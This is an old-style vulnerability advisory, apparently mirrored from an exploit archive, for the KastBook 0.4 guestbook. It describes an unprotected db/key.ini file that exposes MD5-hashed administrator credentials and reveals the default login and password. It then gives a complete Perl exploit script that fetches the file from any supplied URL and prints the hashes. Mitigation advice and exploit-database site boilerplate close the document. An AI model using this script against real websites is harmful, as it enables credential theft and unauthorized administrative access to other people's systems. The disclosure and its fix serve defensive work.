_/ _/ _/ _/ _/
_/ _/ _/_/_/ _/ _/_/ _/_/_/_/ _/ _/_/ _/_/_/ _/ _/
_/ _/ _/ _/_/ _/ _/_/ _/ _/ _/_/
_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
_/ _/ _/_/_/ _/ _/_/ _/ _/ _/_/_/ _/ _/
┌────────────────────────────────────────────────────────────────────────â”
│ E u r o p a S e c u r i t y │
| ┌────────────────────────────────────────────────────────────────┠|
: :│ ─── KastBook 0.4 Vulnerability ─── │: :
┌∙∙┘└────────────────────────────────────────────────────────────────┘└∙∙â”
│ Overview │
├────────────────────────────────────────────────────────────────────────┤
│ KastBook is prone to Hash Stealing. │
├────────────────────────────────────────────────────────────────────────┤
│ Technical Description │
├────────────────────────────────────────────────────────────────────────┤
│ KastBook is prone to Hash Stealing. │
│ The application failed to protect his configurations files. │
│ │
│ 'key.ini' in 'db' directory contains hashed login and password. │
│ │
│ The exploit has been tested on KastBook 0.4. │
├────────────────────────────────────────────────────────────────────────┤
│ Impact │
├────────────────────────────────────────────────────────────────────────┤
│ Successful exploitation allows an attacker to get administrator's │
│ login and password and allows to edit the software. │
├────────────────────────────────────────────────────────────────────────┤
│ Affected Software │
├────────────────────────────────────────────────────────────────────────┤
│ - KastBook 0.4. │
│ - Maybe others. │
├────────────────────────────────────────────────────────────────────────┤
│ Proof of Concepts │
├────────────────────────────────────────────────────────────────────────┤
│ './db/key.ini' │
│ 'retour_ini_log=bdbeb65f1a43a6fac4d99219a91693c3' │
│ 'retour_ini_mdp=bdbeb65f1a43a6fac4d99219a91693c3' │
│ │
│ 'bdbeb65f1a43a6fac4d99219a91693c3' = MD5('kastbook') │
│ │
│ Login: kastbook │
│ Password: kastbook │
├────────────────────────────────────────────────────────────────────────┤
│ Solution │
├────────────────────────────────────────────────────────────────────────┤
│ - Protect 'db' directory with .htaccess. │
│ - Protect 'key.ini' file with .htaccess. │
├────────────────────────────────────────────────────────────────────────┤
│ Security Searcher │
├────────────────────────────────────────────────────────────────────────┤
│ Name: Xartrick │
│ Home: http://www.europasecurity.org/ │
├────────────────────────────────────────────────────────────────────────┤
│ Thanks │
├────────────────────────────────────────────────────────────────────────┤
│ - EuropA|SecuriTy │
│ - Sh0ck │
│ - Real French Scene │
│ - NFO: avw │
├────────────────────────────────────────────────────────────────────────┤
│ References │
├────────────────────────────────────────────────────────────────────────┤
│ http://www.europasecurity.org/ │
└────────────────────────────────────────────────────────────────────────┘
EXPLOiT:
#!/usr/bin/perl
use HTTP::Request::Common;
use LWP::UserAgent;
print("\n" . ' ----- KastBook 0.4 Exploit -----' . "\n");
print(' Vulnerability found by: Xartrick' . "\n");
print(' Exploit codded by: Xartrick' . "\n");
print(' --------------------------------' . "\n");
print(' europasecurity.org ' . "\n");
print(' Xartrick ' . "\n");
print(' ----- KastBook 0.4 Exploit -----' . "\n\n");
if($ARGV[0] eq "")
{
print(" [?] USAGE: \texploit.pl [URL]" . "\n");
print(" [?] EXAMPLE: \texploit.pl http://127.0.0.1/kastbook/" . "\n");
exit;
}
my $URL = '';
my $input = $ARGV[0];
if(substr($input, -1, 1) eq '/')
{
$URL = $input . 'db/key.ini';
}
else
{
$URL = $input . '/db/key.ini';
}
my $useragent = LWP::UserAgent -> new;
my $request = $useragent -> get($URL);
if ($request -> is_success)
{
print(" [~] Request: \tOK" . "\n");
my $result = $request -> content;
if(($result =~ m/&retour_ini_log=/) and ($result =~ m/&retour_ini_mdp=/))
{
@Hash = split(/&/, $result);
$Hash = @Hash;
$Hash[0] = substr($Hash[1], 15, 32);
$Hash[1] = substr($Hash[2], 15, 32);
if($Hash[0] ne "")
{
print(" [+] Login: \t" . $Hash[0] . " (MD5)\n");
}
else
{
print(' [-] Can\'t get login !' . "\n");
}
if($Hash[1] ne "")
{
print(" [+] Password: \t" . $Hash[1] . " (MD5)\n");
}
else
{
print(' [-] Can\'t get password !' . "\n");
}
}
else
{
print(' [-] Can\'t find corrects values ...' . "\n");
}
}
else
{
print(" [-] Request: \tError ..." . "\n");
}
∙∙───────────────────────
# 0day.today [2018-01-09] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation